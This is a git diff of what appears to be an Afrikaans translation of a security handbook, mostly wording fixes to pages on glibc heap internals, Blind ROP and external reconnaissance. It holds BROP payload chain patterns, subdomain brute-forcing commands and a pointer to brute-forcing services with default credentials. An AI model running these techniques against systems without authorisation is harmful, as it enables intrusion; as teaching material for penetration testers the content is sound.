diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png
index af973a127..e70bceed6 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png
index e70bceed6..d798d9edc 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png
index d798d9edc..1ec78aebd 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png
index 1ec78aebd..020fb69e2 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1) (1).png
index 020fb69e2..e3657baf3 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1) (1).png
index e3657baf3..f95e8e4d5 100644
Binary files a/.gitbook/assets/image (1) (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index f95e8e4d5..9dcb86f81 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index 9dcb86f81..f3314db22 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index f3314db22..7a07c3343 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 7a07c3343..b40c8ed4a 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/SUMMARY.md b/SUMMARY.md
index 7b8ed8fc2..ec628c86c 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -197,6 +197,7 @@
* [macOS TCC Payloads](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-payloads.md)
* [macOS Dangerous Entitlements & TCC perms](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md)
* [macOS MACF](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf.md)
+ * [macOS Code Signing](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md)
* [macOS FS Tricks](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md)
* [macOS xattr-acls extra stuff](macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md)
* [macOS Users & External Accounts](macos-hardening/macos-security-and-privilege-escalation/macos-users.md)
diff --git a/binary-exploitation/libc-heap/README.md b/binary-exploitation/libc-heap/README.md
index 834273de8..7773b8d90 100644
--- a/binary-exploitation/libc-heap/README.md
+++ b/binary-exploitation/libc-heap/README.md
@@ -2,7 +2,7 @@
## Heap Basics
-Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanvra deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
+Die heap is basies die plek waar 'n program data kan stoor wanneer dit data aanroep deur funksies soos **`malloc`**, `calloc`... Boonop, wanneer hierdie geheue nie meer nodig is nie, word dit beskikbaar gemaak deur die funksie **`free`** aan te roep.
Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[heap]` afdeling):
@@ -10,28 +10,28 @@ Soos getoon, is dit net na waar die binêre in geheue gelaai word (kyk die `[hea
### Basic Chunk Allocation
-Wanneer sekere data aangevra word om in die heap gestoor te word, word 'n stuk ruimte in die heap aan dit toegeken. Hierdie ruimte sal aan 'n bin behoort en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit ingewikkeld te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vry chunk is.
+Wanneer daar data aangevra word om in die heap gestoor te word, word 'n stuk van die heap aan dit toegeken. Hierdie ruimte behoort aan 'n bin en slegs die aangevraagde data + die ruimte van die bin koppe + minimum bin grootte offset sal gereserveer word vir die chunk. Die doel is om slegs die minimum geheue te reserveer sonder om dit ingewikkeld te maak om te vind waar elke chunk is. Hiervoor word die metadata chunk inligting gebruik om te weet waar elke gebruikte/vry chunk is.
Daar is verskillende maniere om die ruimte te reserveer, hoofsaaklik afhangende van die gebruikte bin, maar 'n algemene metodologie is die volgende:
* Die program begin deur 'n sekere hoeveelheid geheue aan te vra.
* As daar in die lys van chunks iemand beskikbaar is wat groot genoeg is om die aanvraag te vervul, sal dit gebruik word.
-* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res aan die chunks lys bygevoeg sal word.
-* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, sal die heap bestuurder 'n nuwe chunk skep.
-* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en dan hierdie geheue te gebruik om die nuwe chunk te genereer.
+* Dit kan selfs beteken dat 'n deel van die beskikbare chunk vir hierdie aanvraag gebruik sal word en die res sal by die chunks lys gevoeg word.
+* As daar nie enige beskikbare chunk in die lys is nie, maar daar steeds ruimte in die toegeken geheue is, skep die heap bestuurder 'n nuwe chunk.
+* As daar nie genoeg heap ruimte is om die nuwe chunk toe te ken nie, vra die heap bestuurder die kernel om die geheue wat aan die heap toegeken is, uit te brei en gebruik dan hierdie geheue om die nuwe chunk te genereer.
* As alles misluk, keer `malloc` null terug.
Let daarop dat as die aangevraagde **geheue 'n drempel oorskry**, **`mmap`** gebruik sal word om die aangevraagde geheue te kaart.
## Arenas
-In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasie probleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
+In **multithreaded** toepassings moet die heap bestuurder **race conditions** voorkom wat tot crashes kan lei. Aanvanklik is dit gedoen deur 'n **globale mutex** te gebruik om te verseker dat slegs een thread die heap op 'n slag kan benader, maar dit het **prestasieprobleme** veroorsaak weens die mutex-geïnduseerde bottleneck.
Om dit aan te spreek, het die ptmalloc2 heap toewysingsprogram "arenas" bekendgestel, waar **elke arena** as 'n **afsonderlike heap** optree met sy **eie** data **strukture** en **mutex**, wat verskeie threads toelaat om heap operasies uit te voer sonder om mekaar te steur, solank hulle verskillende arenas gebruik.
-Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe indien nodig, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bit stelsels en 8 keer vir 64-bit stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
+Die standaard "hoof" arena hanteer heap operasies vir enkel-threaded toepassings. Wanneer **nuwe threads** bygevoeg word, ken die heap bestuurder hulle **sekondêre arenas** toe om mededinging te verminder. Dit probeer eers om elke nuwe thread aan 'n ongebruikte arena te koppel, en skep nuwe as dit nodig is, tot 'n limiet van 2 keer die aantal CPU-kerns vir 32-bit stelsels en 8 keer vir 64-bit stelsels. Sodra die limiet bereik is, **moet threads arenas deel**, wat tot potensiële mededinging lei.
-In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag te simuleer, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
+In teenstelling met die hoof arena, wat uitbrei deur die `brk` stelselaanroep, skep sekondêre arenas "subheaps" deur `mmap` en `mprotect` te gebruik om die heap gedrag na te boots, wat buigsaamheid in die bestuur van geheue vir multithreaded operasies toelaat.
### Subheaps
@@ -50,7 +50,7 @@ Subheaps dien as geheue voorrade vir sekondêre arenas in multithreaded toepassi
### heap\_info
-Hierdie struct allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struct sal ook daardie inligting stoor.
+Hierdie struktuur allokeer relevante inligting van die heap. Boonop mag heap geheue nie aaneenlopend wees na meer allokasies nie, hierdie struktuur sal ook daardie inligting stoor.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
@@ -87,8 +87,8 @@ Daar is 'n paar interessante dinge om te noem van hierdie struktuur (sien C kode
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
* Die `mchunkptr bins[NBINS * 2 - 2];` bevat **pointers** na die **eerste en laaste chunks** van die klein, groot en onsorteerde **bins** (die -2 is omdat die indeks 0 nie gebruik word nie)
-* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwaartse pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** sal jy 'n pointer na die struktuur in die **libc** hê.
-* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is gekoppelde lyste van arenas
+* Daarom, die **eerste chunk** van hierdie bins sal 'n **terugwysende pointer na hierdie struktuur** hê en die **laaste chunk** van hierdie bins sal 'n **voorwysende pointer** na hierdie struktuur hê. Wat basies beteken dat as jy kan l**eak hierdie adresse in die hoof arena** jy 'n pointer na die struktuur in die **libc** sal hê.
+* Die structs `struct malloc_state *next;` en `struct malloc_state *next_free;` is verknopte lyste van arenas
* Die `top` chunk is die laaste "chunk", wat basies **al die heap herinnering ruimte** is. Sodra die top chunk "leeg" is, is die heap heeltemal gebruik en dit moet meer ruimte aan vra.
* Die `last reminder` chunk kom van gevalle waar 'n presiese grootte chunk nie beskikbaar is nie en daarom 'n groter chunk gesplinter word, 'n pointer oorblywende deel word hier geplaas.
```c
@@ -155,7 +155,7 @@ struct malloc_chunk* bk_nextsize;
typedef struct malloc_chunk* mchunkptr;
```
-Soos voorheen kommentaar gelewer, het hierdie stukke ook 'n paar metadata, baie goed verteenwoordig in hierdie beeld:
+Soos voorheen opgemerk, het hierdie stukke ook 'n paar metadata, baie goed voorgestel in hierdie beeld:
@@ -258,7 +258,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
return request2size (req);
}
```
-Let wel, vir die berekening van die totale ruimte wat nodig is, word `SIZE_SZ` slegs 1 keer bygevoeg omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
+Let op dat vir die berekening van die totale ruimte wat nodig is, `SIZE_SZ` slegs 1 keer bygevoeg word omdat die `prev_size` veld gebruik kan word om data te stoor, daarom is slegs die aanvanklike kop nodig.
### Kry Chunk data en verander metadata
@@ -412,9 +412,9 @@ Stel 'n breekpunt aan die einde van die hooffunksie en kom ons vind uit waar die
-Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kyk, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
+Dit is moontlik om te sien dat die string panda gestoor is by `0xaaaaaaac12a0` (wat die adres was wat as antwoord deur malloc binne `x0` gegee is). Deur 0x10 bytes voor dit te kontroleer, is dit moontlik om te sien dat die `0x0` verteenwoordig dat die **vorige stuk nie gebruik word** (lengte 0) en dat die lengte van hierdie stuk `0x21` is.
-Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bits masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
+Die ekstra spasie wat gereserveer is (0x21-0x10=0x11) kom van die **bygevoegde koptekste** (0x10) en 0x1 beteken nie dat dit 0x21B gereserveer is nie, maar die laaste 3 bits van die lengte van die huidige kop het 'n paar spesiale betekenisse. Aangesien die lengte altyd 16-byte uitgelijnd is (in 64-bis masjiene), gaan hierdie bits eintlik nooit deur die lengtenommer gebruik word nie.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@@ -470,11 +470,11 @@ return 0;
Deur die vorige voorbeeld te debugeer, is dit moontlik om te sien hoe daar aan die begin slegs 1 arena is:
-
+
Dan, na die aanroep van die eerste draad, die een wat malloc aanroep, word 'n nuwe arena geskep:
-
+
en binne dit kan 'n paar chunks gevind word:
diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index a1c6f4234..98507089a 100644
--- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -35,13 +35,13 @@ Jy kan meer inligting oor hierdie prosesse [hier (BF Forked & Threaded Stack Can
### **4. Vind die stop gadget**
-Hierdie gadget laat basies toe om te bevestig dat iets interessant uitgevoer is deur die ROP gadget omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is geposisioneer aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
+Hierdie gadget laat basies toe om te bevestig dat iets interessant deur die ROP gadget uitgevoer is omdat die uitvoering nie gecrash het nie. Gewoonlik gaan hierdie gadget iets wees wat **die uitvoering stop** en dit is aan die einde van die ROP ketting wanneer daar na ROP gadgets gesoek word om te bevestig dat 'n spesifieke ROP gadget uitgevoer is.
### **5. Vind BROP gadget**
Hierdie tegniek gebruik die [**ret2csu**](ret2csu.md) gadget. En dit is omdat as jy toegang tot hierdie gadget in die middel van sommige instruksies kry, jy gadgets kry om **`rsi`** en **`rdi`** te beheer:
-
+
Hierdie sou die gadgets wees:
@@ -52,11 +52,11 @@ Let op hoe dit met daardie gadgets moontlik is om **2 argumente** van 'n funksie
Ook, let op dat die ret2csu gadget 'n **baie unieke handtekening** het omdat dit 6 registers van die stapel gaan pop. SO om 'n ketting soos:
-`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur
+`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP` te stuur.
As die **STOP uitgevoer word**, beteken dit basies dat 'n **adres wat 6 registers** van die stapel pop, gebruik is. Of dat die adres wat gebruik is ook 'n STOP adres was.
-Om hierdie **laaste opsie te verwyder** word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
+Om hierdie **laaste opsie te verwyder**, word 'n nuwe ketting soos die volgende uitgevoer en dit mag nie die STOP gadget uitvoer om te bevestig dat die vorige een 6 registers gepop het nie:
`'A' * offset + canary + rbp + ADDR`
@@ -101,12 +101,12 @@ Onthou dat:
Nadat `strcmp` gevind is, is dit moontlik om **`rdx`** op 'n waarde groter as 0 in te stel.
{% hint style="success" %}
-Let daarop dat gewoonlik `rdx` reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
+Let daarop dat `rdx` gewoonlik reeds 'n waarde groter as 0 sal huisves, so hierdie stap mag dalk nie nodig wees nie.
{% endhint %}
### 8. Vind Write of gelykwaardig
-Laastens, is 'n gadget nodig wat data uitvlek om die binêre uit te vlek. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
+Laastens, is 'n gadget nodig wat data eksterneer om die binêre te eksterneer. En op hierdie oomblik is dit moontlik om **2 argumente te beheer en `rdx` groter as 0 in te stel.**
Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
@@ -116,15 +116,15 @@ Daar is 3 algemene funksies wat vir hierdie doel misbruik kan word:
Echter, die oorspronklike artikel noem slegs die **`write`** een, so kom ons praat daaroor:
-Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is** nie en ons weet nie **'n fd nommer om die data na ons socket te stuur** nie.
+Die huidige probleem is dat ons nie weet **waar die write funksie binne die PLT is nie** en ons weet nie **'n fd nommer om die data na ons socket te stuur nie**.
Echter, ons weet **waar die PLT tabel is** en dit is moontlik om write te vind gebaseer op sy **gedrag**. En ons kan **verskeie verbindings** met die bediener maak en 'n **hoë FD** gebruik in die hoop dat dit met sommige van ons verbindings ooreenstem.
Gedrag handtekeninge om daardie funksies te vind:
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is puts gevind
-* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is dprintf gevind
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan is write gevind
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was puts gevind
+* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was dprintf gevind
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> As daar data gedruk word, dan was write gevind
## Outomatiese Exploitatie
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index 564d7b7e2..f8fbd13a9 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -15,9 +15,9 @@ Leer & oefen GCP Hacking:
{% endhint %}
-
+
-As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
+As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@@ -27,16 +27,16 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur
Die doel van hierdie fase is om al die **maatskappye wat deur die hoofmaatskappy besit word** te verkry en dan al die **bates** van hierdie maatskappye. Om dit te doen, gaan ons:
-1. Vind die verkopings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
+1. Vind die verkrygings van die hoofmaatskappy, dit sal ons die maatskappye binne die omvang gee.
2. Vind die ASN (indien enige) van elke maatskappy, dit sal ons die IP-reekse wat deur elke maatskappy besit word, gee.
3. Gebruik omgekeerde whois soektogte om ander inskrywings (organisasie name, domeine...) wat verband hou met die eerste een te soek (dit kan herhalend gedoen word).
4. Gebruik ander tegnieke soos shodan `org` en `ssl` filters om ander bates te soek (die `ssl` truuk kan herhalend gedoen word).
-### **Verkopenings**
+### **Verkrygings**
Eerstens moet ons weet watter **ander maatskappye deur die hoofmaatskappy besit word**.\
-Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te besoek, **soek** na die **hoofmaatskappy**, en **klik** op "**verkopenings**". Daar sal jy ander maatskappye sien wat deur die hoof een verkry is.\
-'n Ander opsie is om die **Wikipedia** bladsy van die hoofmaatskappy te besoek en te soek na **verkopenings**.
+Een opsie is om [https://www.crunchbase.com/](https://www.crunchbase.com) te besoek, **soek** na die **hoofmaatskappy**, en **klik** op "**verkrygings**". Daar sal jy ander maatskappye sien wat deur die hoof een verkry is.\
+'n Ander opsie is om die **Wikipedia** bladsy van die hoofmaatskappy te besoek en te soek na **verkrygings**.
> Goed, op hierdie punt behoort jy al die maatskappye binne die omvang te ken. Kom ons kyk hoe om hul bates te vind.
@@ -75,9 +75,9 @@ You can fins the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **Soek na kwesbaarhede**
-Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer bekendstellings.\
-Ook kan jy 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **uitvoer of dienste soos** shodan **gebruik om** oop poorte **te vind en afhangende van wat jy vind, moet jy** in hierdie boek kyk hoe om verskeie moontlike dienste wat loop, te pentest.\
-**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** dienste te bruteforce met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+Op hierdie punt weet ons **alle bates binne die omvang**, so as jy toegelaat word, kan jy 'n paar **kwesbaarheid skandeerders** (Nessus, OpenVAS) oor al die gasheer loods.\
+Ook, jy kan 'n paar [**poort skanderings**](../pentesting-network/#discovering-hosts-from-the-outside) **of gebruik dienste soos** shodan **om** oop poorte **te vind en afhangende van wat jy vind, moet jy** kyk in hierdie boek oor hoe om verskeie moontlike dienste wat loop, te pentest.\
+**Ook, dit kan die moeite werd wees om te noem dat jy ook 'n paar** standaard gebruikersnaam **en** wagwoorde **lysies kan voorberei en probeer om** brute force dienste met [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domeine
@@ -87,9 +87,9 @@ _Please, let daarop dat jy in die volgende voorgestelde tegnieke ook subdomeine
Eerstens moet jy soek na die **hoofdomein**(e) van elke maatskappy. Byvoorbeeld, vir _Tesla Inc._ gaan dit _tesla.com_ wees.
-### **Omgekeerde DNS**
+### **Reverse DNS**
-Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **omgekeerde dns-opsoeke** op daardie **IPs uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n dns-bediener van die slagoffer of 'n bekende dns-bediener (1.1.1.1, 8.8.8.8) te gebruik.
+Soos jy al die IP-reekse van die domeine gevind het, kan jy probeer om **reverse dns opsoekings** op daardie **IP's uit te voer om meer domeine binne die omvang te vind**. Probeer om 'n paar dns bediener van die slagoffer of 'n bekende dns bediener (1.1.1.1, 8.8.8.8) te gebruik.
```bash
dnsrecon -r -n #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -101,7 +101,7 @@ You can also use a online tool for this info: [http://ptrarchive.com/](http://pt
### **Reverse Whois (loop)**
-Binne 'n **whois** kan jy 'n baie interessante **inligting** vind soos **organisasie naam**, **adres**, **e-posse**, telefoonnommers... Maar wat selfs meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
+Inside a **whois** you can find a lot of interesting **information** like **organisasie naam**, **adres**, **e-pos**, telefoon nommers... Maar wat nog meer interessant is, is dat jy **meer bates wat met die maatskappy verband hou** kan vind as jy **omgekeerde whois soektogte deur enige van daardie velde** uitvoer (byvoorbeeld ander whois registrasies waar dieselfde e-pos verskyn).\
You can use online tools like:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
@@ -119,8 +119,8 @@ You can also perform some automatic reverse whois discovery with [amass](https:/
### **Trackers**
-As jy die **dieselfde ID van die dieselfde tracker** in 2 verskillende bladsye vind, kan jy aanvaar dat **albei bladsye** **deur dieselfde span bestuur word**.\
-Byvoorbeeld, as jy dieselfde **Google Analytics ID** of dieselfde **Adsense ID** op verskeie bladsye sien.
+If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\
+For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages.
There are some pages and tools that let you search by these trackers and more:
@@ -132,7 +132,7 @@ There are some pages and tools that let you search by these trackers and more:
### **Favicon**
-Het jy geweet dat ons verwante domeine en subdomeine aan ons teiken kan vind deur te soek na dieselfde favicon ikoon hash? Dit is presies wat die [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hulpmiddel gemaak deur [@m4ll0k2](https://twitter.com/m4ll0k2) doen. Hier is hoe om dit te gebruik:
+Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -366,11 +366,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
-* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik ek dink net 1 resolver
+* [**gobuster**](https://github.com/OJ/gobuster): Hierdie een gebruik glo net 1 resolver
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
-* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine op te los met wildcard hantering en maklike invoer-uitvoer ondersteuning.
+* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is 'n wrapper rondom `massdns`, geskryf in go, wat jou toelaat om geldige subdomeine te enumereer deur aktiewe bruteforce, sowel as om subdomeine met wildcard hantering en maklike invoer-uitvoer ondersteuning op te los.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@@ -391,7 +391,7 @@ Nadat jy subdomeine gevind het met behulp van oop bronne en brute-forcing, kan j
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Gegewe die domeine en subdomeine genereer permutasies.
-* Jy kan goaltdns permutasies **woordlys** in [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt) kry.
+* Jy kan goaltdns permutasies **woordlys** kry [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
@@ -410,7 +410,7 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
-* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduide patrone om te probeer om meer subdomeine te ontdek.
+* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Gebaseer op 'n domein, **genereer dit nuwe potensiële subdomeinnaam** gebaseer op aangeduidde patrone om te probeer om meer subdomeine te ontdek.
#### Slim permutasiegenerasie
@@ -434,7 +434,7 @@ Kyk na hierdie blogpos wat ek geskryf het oor hoe om die **subdomein ontdekking*
### **VHosts / Virtuele Gashere**
-As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-force VHost domeinnaam in daardie IP**.
+As jy 'n IP-adres gevind het wat **een of verskeie webbladsye** bevat wat aan subdomeine behoort, kan jy probeer om **ander subdomeine met webbladsye in daardie IP** te vind deur in **OSINT bronne** te kyk vir domeine in 'n IP of deur **brute-forcing VHost domeinnaam in daardie IP**.
#### OSINT
